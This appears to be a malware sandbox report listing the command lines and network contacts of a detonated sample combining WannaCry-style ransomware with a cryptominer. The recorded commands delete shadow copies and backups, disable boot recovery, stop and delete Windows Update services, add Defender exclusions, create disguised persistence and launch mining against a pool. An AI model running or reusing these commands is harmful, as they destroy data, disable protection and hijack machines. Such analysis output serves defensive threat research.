cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic shadowcopy delete

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell <#jjwhcvemx#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskEditor' /tr '''C:\Program Files\Google\Chrome\updaterload.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updaterload.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskEditor' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskEditor" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updaterload.exe' }

C:\Windows\SYSTEM32\cmd.exe

cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\SYSTEM32\cmd.exe

cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "lzbadmabynns968" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\RarSFX0\tasksche.exe\"" /f

C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected]

@[email protected]

C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskse.exe

taskse.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected]

C:\Windows\system32\sc.exe

sc stop UsoSvc

C:\Windows\system32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\system32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\system32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\SysWOW64\reg.exe

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "lzbadmabynns968" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\RarSFX0\tasksche.exe\"" /f

C:\Windows\system32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskdl.exe

taskdl.exe

C:\Windows\system32\sc.exe

sc stop wuauserv

C:\Windows\system32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Windows\system32\sc.exe

sc stop bits

C:\Windows\system32\sc.exe

sc stop dosvc

C:\Windows\system32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f

C:\Windows\system32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f

C:\Windows\system32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f

C:\Windows\system32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /d /c taskkill /f /im E > NUL & ping -n 1 127.0.0.1 > NUL & del C > NUL && exit

C:\Windows\system32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Windows\system32\cmd.exe" /d /c taskkill /f /im "E" > NUL & ping -n 1 127.0.0.1 > NUL & del "C" > NUL && exit

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell <#ihnnqfjnu#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskEditor" } Else { "C:\Program Files\Google\Chrome\updaterload.exe" }

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im E

C:\Windows\SysWOW64\PING.EXE

ping -n 1 127.0.0.1

C:\Windows\system32\schtasks.exe

"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskEditor

C:\Program Files\Google\Chrome\updaterload.exe

"C:\Program Files\Google\Chrome\updaterload.exe"

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\ma.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\ma.exe

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\ma.exe

C:\Windows\system32\timeout.exe

timeout 3

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7A1D.tmp.bat""

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\w-12.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\w-12.exe

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\w-12.exe

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\Recorder.exe

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\Recorder.exe

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\Recorder.exe"

C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe

"C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\System32\cmd.exe /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn ERGVRDVMSK /tr C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn ERGVRDVMSK /tr C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\tuc2.exe

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\tuc2.exe

C:\Windows\svchost.com

"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\tuc2.exe"

C:\Users\Admin\AppData\Local\Temp\is-OFO7H.tmp\tuc2.tmp

"C:\Users\Admin\AppData\Local\Temp\is-OFO7H.tmp\tuc2.tmp" /SL5="$50210,4511661,54272,C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\tuc2.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\system32\cmd.exe

cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\system32\cmd.exe

cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f

C:\Windows\system32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\system32\sc.exe

sc stop UsoSvc

C:\Windows\system32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\system32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f

C:\Windows\system32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f

C:\Windows\system32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl

C:\Windows\system32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f

C:\Windows\system32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Windows\system32\reg.exe

reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f

C:\Windows\system32\sc.exe

sc stop dosvc

C:\Windows\system32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Windows\system32\sc.exe

sc stop bits

C:\Windows\system32\sc.exe

sc stop wuauserv

C:\Windows\system32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell <#jjwhcvemx#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskEditor' /tr '''C:\Program Files\Google\Chrome\updaterload.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updaterload.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskEditor' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskEditor" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updaterload.exe' }

C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskdl.exe

taskdl.exe

C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected]

@[email protected]

C:\Users\Admin\AppData\Local\Temp\RarSFX0\taskse.exe

taskse.exe C:\Users\Admin\AppData\Local\Temp\RarSFX0\@[email protected]

C:\Windows\system32\conhost.exe

C:\Windows\system32\conhost.exe nygibdwsbqcm

C:\Windows\system32\cmd.exe

cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"

C:\Windows\system32\cmd.exe

cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"

C:\Windows\System32\Wbem\WMIC.exe

wmic PATH Win32_VideoController GET Name, VideoProcessor

C:\Windows\system32\conhost.exe

C:\Windows\system32\conhost.exe exokbvtqyjcxqmff 6E3sjfZq2rJQaxvLPmXgsA4f0StS9pic9Xw++oZ1mnbMNdSoXP4ts/KtNDhUPQkUTPF5qXi0Ll3huPNtQrfOZUpXaBQTdjKlHzziQUxGk3q1WcOus0NpRx8sv20TKvQWzfPwz/S7PpJzvy4TOmTzC20lxdLonU6N97MV3HEiF6qCxsCvWEdsvn0QujTyxKJ95DZ6MluymKVKbyVyrGOKwoDbcjhUoGxCd81XD5cbFRfbhPZxn/DrIkC8RKVYVWlCU1CSIxYgcfkf0jgy6G3qsZbtTeU9exliIWB/1AGt+teHsG9vzeChHiopFtqVn7yDXsezUMFAR4ChtWZx7l6Yo16W/lM6Ef7ucIpGH7bwhsUCGUSMXb+5yd6M7OdnLR1oKLRTmbL+seESGstd/AiVOVPIU5ntveQ3PHS0zKo/+TuAtjgIwHptEXFZQq1R+EsGtBcNwesBB9V1ZQruBcWwkma0cZHo1WpO6Qn1tztvcw07GegFEdJr5uu43gfd1D4nFU5tkxWMzeUQXV2Dx2mqMI8FBWz6gqZIZsqPIVbs+LbYnNdmpcwcpPR6oBHJ5g6ZjdqeH1qUDC0Mvw9Y1dWGILC8Jropv9Awf1mS79g197Ttt4gAn8kR5uGI7+dqb2dCAlLFB7/qQ51AJFaDtmPGV1HXa0U7DjocLvzA5G4IX8uhKEaKyX3eYF92e2gc5RCoV/YQdfd0b4KxIS2klVg+o2uLx94X588AqaJ1EPk1hN8q2uQOLKrEf/ulwkz/yTdrekibo8UeJaxY95Ji7zTjBNLBBx8NzEdkrkBhWB3xlmtm70IGeeQd27QwjL5uKQgSmM8SA2kZsVMKrfkaC7vY2+tRP9A0MQSsEczRjh9mFzv2KSvl/1szS6sqAZtkmfz3V5TzmQp5No52LVrYWDrB39AaOAljVAZ2WNYHPYwEZWXS9M6qcVK8LHCsh5IOU6IN8wypY47520+304u49bWETeiQ51TcEqRp7n1YIjLhyAF69Z9nTa6WEtzu4J7nORwqJWKr0xS2nbVFPa412nKfSH5KE3xM2L4xUt2mcpOZj51tBUgYuEzuWCpK95QurGiA1IbPAqSJmYiDiGP009mJ8O9X0YR/6IWWw4d3OkKXHgOae0h5XTSN12mWUotH0q470eFIs9bO4UPNzTssrxA+yhSQclLLFmBMQhJ4Mn3rudmJ7oPOjHMmcJ0FUwBl+YYvwfTVtyy2+ycK/ywe5IijsW90g4fowQQnV1p+ItQZWPMtduyqc+NFqpF1gbIDIJ1srGnWnElUYNCPzAicJGbwtN8VFnOJtOa+YLIDaLQYbMK/aHy52MrL5KBPgVvan1c7Mpjjc5WnoImxn/2Xi4JfAcBZGbe0x9PosPzJAqeu70OP74r4UCRevg5NVwSZCfTgwvHU57yCpBDe6CFikEmMgLHkn7cIgI9pzZo9xYjB5sLoDGXnvPpEmnpP0qHV37c19X4tDdb/Hx94Xt5Jr0cKsP93zfUg4p02ZEmSWKdHM2rKgJpSbYNqYA2M5XJpWTUlYUV+2UYRtD8O7fQD1vjPldvcd3QENQaMv2HSPxRAgHsL6L8GPgvQTG9h2L3kFnSwLKKoCRvr3a3RVN9iV+6EbcSU087a4/PtjupCd0MFJuixhZN8awnwFRXsXB2saNQgAB7P6AqzWxERm01Y+p4DoaYQsZyZhg1df/VbWLJ+K7cLxhaXsai6an4hEVXn5WAIfrV3fu7eyB+0eYFFdPLjD9y5zef7rmM+nJN+CBKnhMawcl07Wz54ovA3+JwimWmsAUPzHL6BQ+oeFe3Ur+cDBan1i7MbMmLDMZry7EN78ws25dJgMtC8EUqkqx6f1VxdX7ghbvCHQfwKorkOQ1XMYoZ3VFVDxxT77xRqaa5mDt+JclX1uHDC3IxMNEY7tgOg7lIU4FCo4fWVXtpVd5sf2rxvg1C4iYQJqqo8LkPviG4uAlyPsrUTEKMUlSBk9nWg2hnmWJqW35mYpEHujIQgB4YZb0e0VRj1+NnkFB2/7Qb8KBMsX8MhjvT8FAVGVSCb6g0EqcCT28TRBRPBMsuTQ3GWdw6CIFGU2D20QUlGWrCwZ4vzlv9Hd2NFUnBPFf1+va+Gq9eufqsuX5nVOPOjCycOeziXFazAsM2BP/BHM6vm8Bw7f0xRoXzzYY3Ql//8pkoj+fNaOYj0F+3PftYcb142Hb9IQ21ypMSN7+UiJDE=

Network

Country Destination Domain Proto
US 8.8.8.8:53 149.177.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 2.136.104.51.in-addr.arpa udp
US 8.8.8.8:53 stats.walliant.com udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 urlhaus.abuse.ch udp
US 8.8.8.8:53 api.joinmassive.com udp
US 151.101.2.49:443 urlhaus.abuse.ch tcp
US 18.172.89.128:443 api.joinmassive.com tcp
US 104.21.57.77:443 stats.walliant.com tcp
US 8.8.8.8:53 still.topteamlife.com udp
US 8.8.8.8:53 49.2.101.151.in-addr.arpa udp
US 8.8.8.8:53 128.89.172.18.in-addr.arpa udp
US 8.8.8.8:53 77.57.21.104.in-addr.arpa udp
US 172.67.138.35:443 still.topteamlife.com tcp
AT 86.59.21.38:443 tcp
US 8.8.8.8:53 35.138.67.172.in-addr.arpa udp
US 8.8.8.8:53 38.21.59.86.in-addr.arpa udp
US 172.67.138.35:80 still.topteamlife.com tcp
US 104.192.141.1:443 tcp
RU 91.218.114.26:80 91.218.114.26 tcp
RU 91.218.114.31:80 tcp
GB 52.109.32.97:443 tcp
US 8.8.8.8:53 36.155.16.104.in-addr.arpa udp
US 8.8.8.8:53 0.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 1.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 2.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 3.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 4.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 5.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 6.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 7.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 8.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 9.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 10.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 11.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 12.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 13.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 14.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 15.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 16.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 17.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 18.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 19.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 20.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 21.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 22.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 23.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 24.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 25.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 26.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 27.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 28.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 29.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 30.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 31.12.107.93.in-addr.arpa udp
US 8.8.8.8:53 0.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 1.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 2.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 3.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 4.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 5.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 6.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 7.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 8.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 9.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 10.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 11.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 12.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 13.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 14.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 15.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 16.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 17.200.1.95.in-addr.arpa udp
RU 91.218.114.31:80 tcp
US 8.8.8.8:53 18.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 19.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 20.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 21.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 22.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 23.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 24.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 25.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 26.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 27.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 28.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 29.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 30.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 31.200.1.95.in-addr.arpa udp
US 8.8.8.8:53 0.176.98.87.in-addr.arpa udp
US 8.8.8.8:53 1.176.98.87.in-addr.arpa udp
US 8.8.8.8:53 2.176.98.87.in-addr.arpa udp
US 8.8.8.8:53 3.176.98.87.in-addr.arpa udp
FR 87.98.176.255:6893 udp
FR 87.98.177.0:6893 udp
FR 87.98.177.1:6893 udp
FR 87.98.177.2:6893 udp
FR 87.98.177.3:6893 udp
FR 87.98.177.4:6893 udp
FR 87.98.177.5:6893 udp
FR 87.98.177.6:6893 udp
FR 87.98.177.7:6893 udp
FR 87.98.177.8:6893 udp
FR 87.98.177.9:6893 udp
FR 87.98.177.10:6893 udp
FR 87.98.177.11:6893 udp
FR 87.98.177.12:6893 udp
FR 87.98.177.13:6893 udp
FR 87.98.177.14:6893 udp
FR 87.98.177.15:6893 udp
FR 87.98.177.16:6893 udp
FR 87.98.177.17:6893 udp
FR 87.98.177.18:6893 udp
FR 87.98.177.19:6893 udp
FR 87.98.177.20:6893 udp
FR 87.98.177.21:6893 udp
FR 87.98.177.22:6893 udp
FR 87.98.177.23:6893 udp
FR 87.98.177.24:6893 udp
FR 87.98.177.25:6893 udp
FR 87.98.177.26:6893 udp
FR 87.98.177.27:6893 udp
FR 87.98.177.28:6893 udp
FR 87.98.177.29:6893 udp
FR 87.98.177.30:6893 udp
FR 87.98.177.31:6893 udp
FR 87.98.177.32:6893 udp
FR 87.98.177.33:6893 udp
FR 87.98.177.34:6893 udp
FR 87.98.177.35:6893 udp
FR 87.98.177.36:6893 udp
FR 87.98.177.37:6893 udp
FR 87.98.177.38:6893 udp
FR 87.98.177.39:6893 udp
FR 87.98.177.40:6893 udp
FR 87.98.177.41:6893 udp
FR 87.98.177.42:6893 udp
FR 87.98.177.43:6893 udp
FR 87.98.177.44:6893 udp
FR 87.98.177.45:6893 udp
FR 87.98.177.46:6893 udp
FR 87.98.177.47:6893 udp
FR 87.98.177.48:6893 udp
FR 87.98.177.49:6893 udp
FR 87.98.177.50:6893 udp
FR 87.98.177.51:6893 udp
FR 87.98.177.52:6893 udp
FR 87.98.177.53:6893 udp
FR 87.98.177.54:6893 udp
FR 87.98.177.55:6893 udp
FR 87.98.177.56:6893 udp
FR 87.98.177.57:6893 udp
FR 87.98.177.58:6893 udp
FR 87.98.177.59:6893 udp
FR 87.98.177.60:6893 udp
FR 87.98.177.61:6893 udp
FR 87.98.177.62:6893 udp
FR 87.98.177.63:6893 udp
FR 87.98.177.64:6893 udp
FR 87.98.177.65:6893 udp
FR 87.98.177.66:6893 udp
FR 87.98.177.67:6893 udp
FR 87.98.177.68:6893 udp
FR 87.98.177.69:6893 udp
FR 87.98.177.70:6893 udp
FR 87.98.177.71:6893 udp
FR 87.98.177.72:6893 udp
FR 87.98.177.73:6893 udp
FR 87.98.177.74:6893 udp
FR 87.98.177.75:6893 udp
FR 87.98.177.76:6893 udp
FR 87.98.177.77:6893 udp
FR 87.98.177.78:6893 udp
FR 87.98.177.79:6893 udp
FR 87.98.177.80:6893 udp
FR 87.98.177.81:6893 udp
FR 87.98.177.82:6893 udp
FR 87.98.177.83:6893 udp
FR 87.98.177.84:6893 udp
FR 87.98.177.85:6893 udp
FR 87.98.177.86:6893 udp
FR 87.98.177.87:6893 udp
FR 87.98.177.88:6893 udp
FR 87.98.177.89:6893 udp
FR 87.98.177.90:6893 udp
FR 87.98.177.91:6893 udp
FR 87.98.177.92:6893 udp
FR 87.98.177.93:6893 udp
FR 87.98.177.94:6893 udp
FR 87.98.177.95:6893 udp
FR 87.98.177.96:6893 udp
FR 87.98.177.97:6893 udp
FR 87.98.177.98:6893 udp
FR 87.98.177.99:6893 udp
FR 87.98.177.100:6893 udp
FR 87.98.177.101:6893 udp
FR 87.98.177.102:6893 udp
FR 87.98.177.103:6893 udp
FR 87.98.177.104:6893 udp
FR 87.98.177.105:6893 udp
FR 87.98.177.106:6893 udp
FR 87.98.177.107:6893 udp
FR 87.98.177.108:6893 udp
FR 87.98.177.109:6893 udp
FR 87.98.177.110:6893 udp
FR 87.98.177.111:6893 udp
FR 87.98.177.112:6893 udp
FR 87.98.177.113:6893 udp
FR 87.98.177.114:6893 udp
FR 87.98.177.115:6893 udp
FR 87.98.177.116:6893 udp
FR 87.98.177.117:6893 udp
FR 87.98.177.118:6893 udp
FR 87.98.177.119:6893 udp
FR 87.98.177.120:6893 udp
FR 87.98.177.121:6893 udp
FR 87.98.177.122:6893 udp
FR 87.98.177.123:6893 udp
FR 87.98.177.124:6893 udp
FR 87.98.177.125:6893 udp
FR 87.98.177.126:6893 udp
FR 87.98.177.127:6893 udp
FR 87.98.177.128:6893 udp
FR 87.98.177.129:6893 udp
FR 87.98.177.130:6893 udp
FR 87.98.177.131:6893 udp
FR 87.98.177.132:6893 udp
FR 87.98.177.133:6893 udp
FR 87.98.177.134:6893 udp
FR 87.98.177.135:6893 udp
FR 87.98.177.136:6893 udp
FR 87.98.177.137:6893 udp
FR 87.98.177.138:6893 udp
FR 87.98.177.139:6893 udp
FR 87.98.177.140:6893 udp
FR 87.98.177.141:6893 udp
FR 87.98.177.142:6893 udp
FR 87.98.177.143:6893 udp
FR 87.98.177.144:6893 udp
FR 87.98.177.145:6893 udp
FR 87.98.177.146:6893 udp
FR 87.98.177.147:6893 udp
FR 87.98.177.148:6893 udp
FR 87.98.177.149:6893 udp
FR 87.98.177.150:6893 udp
FR 87.98.177.151:6893 udp
FR 87.98.177.152:6893 udp
FR 87.98.177.153:6893 udp
FR 87.98.177.154:6893 udp
FR 87.98.177.155:6893 udp
FR 87.98.177.156:6893 udp
FR 87.98.177.157:6893 udp
FR 87.98.177.158:6893 udp
FR 87.98.177.159:6893 udp
FR 87.98.177.160:6893 udp
FR 87.98.177.161:6893 udp
FR 87.98.177.162:6893 udp
FR 87.98.177.163:6893 udp
FR 87.98.177.164:6893 udp
FR 87.98.177.165:6893 udp
FR 87.98.177.166:6893 udp
FR 87.98.177.167:6893 udp
FR 87.98.177.168:6893 udp
FR 87.98.177.169:6893 udp
FR 87.98.177.170:6893 udp
FR 87.98.177.171:6893 udp
FR 87.98.177.172:6893 udp
FR 87.98.177.173:6893 udp
FR 87.98.177.174:6893 udp
FR 87.98.177.175:6893 udp
FR 87.98.177.176:6893 udp
FR 87.98.177.177:6893 udp
FR 87.98.177.178:6893 udp
FR 87.98.177.179:6893 udp
FR 87.98.177.180:6893 udp
FR 87.98.177.181:6893 udp
FR 87.98.177.182:6893 udp
FR 87.98.177.183:6893 udp
FR 87.98.177.184:6893 udp
FR 87.98.177.185:6893 udp
FR 87.98.177.186:6893 udp
FR 87.98.177.187:6893 udp
FR 87.98.177.188:6893 udp
FR 87.98.177.189:6893 udp
FR 87.98.177.190:6893 udp
FR 87.98.177.191:6893 udp
FR 87.98.177.192:6893 udp
FR 87.98.177.193:6893 udp
FR 87.98.177.194:6893 udp
FR 87.98.177.195:6893 udp
FR 87.98.177.196:6893 udp
FR 87.98.177.197:6893 udp
FR 87.98.177.198:6893 udp
FR 87.98.177.199:6893 udp
FR 87.98.177.200:6893 udp
FR 87.98.177.201:6893 udp
FR 87.98.177.202:6893 udp
FR 87.98.177.203:6893 udp
FR 87.98.177.204:6893 udp
FR 87.98.177.205:6893 udp
FR 87.98.177.206:6893 udp
FR 87.98.177.207:6893 udp
FR 87.98.177.208:6893 udp
FR 87.98.177.209:6893 udp
FR 87.98.177.210:6893 udp
FR 87.98.177.211:6893 udp
FR 87.98.177.212:6893 udp
FR 87.98.177.213:6893 udp
FR 87.98.177.214:6893 udp
FR 87.98.177.215:6893 udp
FR 87.98.177.216:6893 udp
FR 87.98.177.217:6893 udp
FR 87.98.177.218:6893 udp
FR 87.98.177.219:6893 udp
FR 87.98.177.220:6893 udp
FR 87.98.177.221:6893 udp
FR 87.98.177.222:6893 udp
FR 87.98.177.223:6893 udp
FR 87.98.177.224:6893 udp
FR 87.98.177.225:6893 udp
FR 87.98.177.226:6893 udp
FR 87.98.177.227:6893 udp
FR 87.98.177.228:6893 udp
FR 87.98.177.229:6893 udp
FR 87.98.177.230:6893 udp
FR 87.98.177.231:6893 udp
FR 87.98.177.232:6893 udp
